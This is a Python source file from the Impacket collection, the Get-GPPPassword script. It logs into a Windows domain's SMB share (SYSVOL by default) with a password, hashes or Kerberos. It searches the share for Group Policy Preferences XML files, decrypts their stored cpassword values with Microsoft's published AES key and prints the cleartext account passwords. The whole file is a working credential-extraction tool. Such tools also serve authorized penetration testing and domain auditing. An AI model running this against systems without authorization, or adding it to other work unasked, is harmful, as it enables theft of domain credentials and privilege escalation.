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#!/usr/bin/env python3
# Impacket - Collection of Python classes for working with network protocols.
#
# Copyright Fortra, LLC and its affiliated companies
#
# All rights reserved.
#
# This software is provided under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Description:
# Python script for extracting and decrypting Group Policy Preferences passwords,
# using Impacket's lib, and using streams for carving files instead of mounting shares
# https://podalirius.net/en/articles/exploiting-windows-group-policy-preferences/
#
# Authors:
# Remi Gascou (@podalirius_)
# Charlie Bromberg (@_nwodtuhs)
#
import argparse
import base64
import xml
import charset_normalizer
import logging
import os
import re
import sys
import traceback
from xml.dom import minidom
import io
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import unpad
from impacket import version
from impacket.examples import logger, utils
from impacket.smbconnection import SMBConnection, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB_DIALECT, SessionError
class GetGPPasswords(object):
"""docstring for GetGPPasswords."""
def __init__(self, smb, share):
super(GetGPPasswords, self).__init__()
self.smb = smb
self.share = share
def list_shares(self):
logging.info("Listing shares...")
resp = self.smb.listShares()
shares = []
for k in range(len(resp)):
shares.append(resp[k]["shi1_netname"][:-1])
print(" - %s" % resp[k]["shi1_netname"][:-1])
print()
def find_cpasswords(self, base_dir, extension="xml"):
logging.info("Searching *.%s files..." % extension)
# Breadth-first search algorithm to recursively find .extension files
files = []
searchdirs = [base_dir + "/"]
while len(searchdirs) != 0:
next_dirs = []
for sdir in searchdirs:
logging.debug("Searching in %s " % sdir)
try:
for sharedfile in self.smb.listPath(self.share, sdir + "*", password=None):
if sharedfile.get_longname() not in [".", ".."]:
if sharedfile.is_directory():
logging.debug("Found directory %s/" % sharedfile.get_longname())
next_dirs.append(sdir + sharedfile.get_longname() + "/")
else:
if sharedfile.get_longname().endswith("." + extension):
logging.debug("Found matching file %s" % (sdir + sharedfile.get_longname()))
results = self.parse(sdir + sharedfile.get_longname())
if len(results) != 0:
self.show(results)
files.append({"filename": sdir + sharedfile.get_longname(), "results": results})
else:
logging.debug("Found file %s" % sharedfile.get_longname())
except SessionError as e:
logging.debug(e)
searchdirs = next_dirs
logging.debug("Next iteration with %d folders." % len(next_dirs))
return files
def parse_xmlfile_content(self, filename, filecontent):
results = []
try:
root = minidom.parseString(filecontent)
xmltype = root.childNodes[0].tagName
# function to get attribute if it exists, returns "" if empty
read_or_empty = lambda element, attribute: (element.getAttribute(attribute) if element.getAttribute(attribute) is not None else "")
# ScheduledTasks
if xmltype == "ScheduledTasks":
for topnode in root.childNodes:
task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
for task in task_nodes:
for property in task.getElementsByTagName("Properties"):
results.append({
"tagName": xmltype,
"attributes": [
("name", read_or_empty(task, "name")),
("runAs", read_or_empty(property, "runAs")),
("cpassword", read_or_empty(property, "cpassword")),
("password", self.decrypt_password(read_or_empty(property, "cpassword"))),
("changed", read_or_empty(property.parentNode, "changed")),
],
"file": filename
})
elif xmltype == "Groups":
for topnode in root.childNodes:
task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
for task in task_nodes:
for property in task.getElementsByTagName("Properties"):
results.append({
"tagName": xmltype,
"attributes": [
("newName", read_or_empty(property, "newName")),
("userName", read_or_empty(property, "userName")),
("cpassword", read_or_empty(property, "cpassword")),
("password", self.decrypt_password(read_or_empty(property, "cpassword"))),
("changed", read_or_empty(property.parentNode, "changed")),
],
"file": filename
})
else:
for topnode in root.childNodes:
task_nodes = [c for c in topnode.childNodes if isinstance(c, xml.dom.minidom.Element)]
for task in task_nodes:
for property in task.getElementsByTagName("Properties"):
results.append({
"tagName": xmltype,
"attributes": [
("newName", read_or_empty(property, "newName")),
("userName", read_or_empty(property, "userName")),
("cpassword", read_or_empty(property, "cpassword")),
("password", self.decrypt_password(read_or_empty(property, "cpassword"))),
("changed", read_or_empty(property.parentNode, "changed")),
],
"file": filename
})
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
traceback.print_exc()
logging.debug(str(e))
return results
def parse(self, filename):
results = []
filename = filename.replace("/", "\\")
fh = io.BytesIO()
try:
# opening the files in streams instead of mounting shares allows for running the script from
# unprivileged containers
self.smb.getFile(self.share, filename, fh.write)
except SessionError as e:
logging.error(e)
return results
except Exception as e:
raise
output = fh.getvalue()
encoding = charset_normalizer.detect(output)["encoding"]
if encoding is not None:
filecontent = output.decode(encoding).rstrip()
if "cpassword" in filecontent:
logging.debug(filecontent)
results = self.parse_xmlfile_content(filename, filecontent)
fh.close()
else:
logging.debug("No cpassword was found in %s" % filename)
else:
logging.debug("Output cannot be correctly decoded, are you sure the text is readable ?")
fh.close()
return results
def decrypt_password(self, pw_enc_b64):
if len(pw_enc_b64) != 0:
# Thank you Microsoft for publishing the key :)
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-gppref/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be
key = b"\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
# Thank you Microsoft for using a fixed IV :)
iv = b"\x00" * 16
pad = len(pw_enc_b64) % 4
if pad == 1:
pw_enc_b64 = pw_enc_b64[:-1]
elif pad == 2 or pad == 3:
pw_enc_b64 += "=" * (4 - pad)
pw_enc = base64.b64decode(pw_enc_b64)
ctx = AES.new(key, AES.MODE_CBC, iv)
pw_dec = unpad(ctx.decrypt(pw_enc), ctx.block_size)
return pw_dec.decode("utf-16-le")
else:
logging.debug("cpassword is empty, cannot decrypt anything.")
return ""
def show(self, results):
for result in results:
logging.info("Found a %s XML file:" % result['tagName'])
logging.info(" %-10s: %s" % ("file", result['file']))
for attr, value in result['attributes']:
if attr != "cpassword":
logging.info(" %-10s: %s" % (attr, value))
print()
def parse_args():
parser = argparse.ArgumentParser(add_help=True, description="Group Policy Preferences passwords finder and decryptor.")
parser.add_argument("target", action="store", help="[[domain/]username[:password]@]<targetName or address> or LOCAL (if you want to parse local files)")
parser.add_argument("-xmlfile", type=str, required=False, default=None, help="Group Policy Preferences XML files to parse")
parser.add_argument("-share", type=str, required=False, default="SYSVOL", help="SMB Share")
parser.add_argument("-base-dir", type=str, required=False, default="/", help="Directory to search in (Default: /)")
parser.add_argument("-ts", action="store_true", help="Adds timestamp to every logging output")
parser.add_argument("-debug", action="store_true", help="Turn DEBUG output ON")
group = parser.add_argument_group('authentication')
group.add_argument("-hashes", action="store", metavar="LMHASH:NTHASH", help="NTLM hashes, format is LMHASH:NTHASH")
group.add_argument("-no-pass", action="store_true", help="Don't ask for password (useful for -k)")
group.add_argument("-k", action="store_true", help="Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line")
group.add_argument("-aesKey", action="store", metavar="hex key", help="AES key to use for Kerberos Authentication (128 or 256 bits)")
group = parser.add_argument_group("connection")
group.add_argument("-dc-ip", action="store", metavar="ip address", help="IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter")
group.add_argument("-target-ip", action="store", metavar="ip address", help="IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it")
group.add_argument("-port", choices=["139", "445"], nargs="?", default="445", metavar="destination port", help="Destination port to connect to SMB Server")
if len(sys.argv) == 1:
parser.print_help()
sys.exit(1)
return parser.parse_args()
def parse_target(args):
domain, username, password, address = utils.parse_target(args.target)
if args.target_ip is None:
args.target_ip = address
if domain is None:
domain = ""
if len(password) == 0 and len(username) != 0 and args.hashes is None and args.no_pass is False and args.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if args.aesKey is not None:
args.k = True
if args.hashes is not None:
lmhash, nthash = args.hashes.split(":")
else:
lmhash, nthash = "", ""
return domain, username, password, address, lmhash, nthash
def init_smb_session(args, domain, username, password, address, lmhash, nthash):
smbClient = SMBConnection(address, args.target_ip, sess_port=int(args.port))
dialect = smbClient.getDialect()
if dialect == SMB_DIALECT:
logging.debug("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.debug("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.debug("SMBv2.1 dialect used")
else:
logging.debug("SMBv3.0 dialect used")
if args.k is True:
smbClient.kerberosLogin(username, password, domain, lmhash, nthash, args.aesKey, args.dc_ip)
else:
smbClient.login(username, password, domain, lmhash, nthash)
if smbClient.isGuestSession() > 0:
logging.debug("GUEST Session Granted")
else:
logging.debug("USER Session Granted")
return smbClient
if __name__ == '__main__':
print(version.BANNER)
args = parse_args()
logger.init(args.ts, args.debug)
if args.target.upper() == "LOCAL":
if args.xmlfile is not None:
# Only given decrypt XML file
if os.path.exists(args.xmlfile):
g = GetGPPasswords(None, None)
logging.debug("Opening %s XML file for reading ..." % args.xmlfile)
f = open(args.xmlfile, "r")
rawdata = "".join(f.readlines())
f.close()
results = g.parse_xmlfile_content(args.xmlfile, rawdata)
g.show(results)
else:
print("[!] File does not exists or is not readable.")
else:
domain, username, password, address, lmhash, nthash = parse_target(args)
try:
smbClient = init_smb_session(args, domain, username, password, address, lmhash, nthash)
g = GetGPPasswords(smbClient, args.share)
g.list_shares()
g.find_cpasswords(args.base_dir)
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
traceback.print_exc()
logging.error(str(e))
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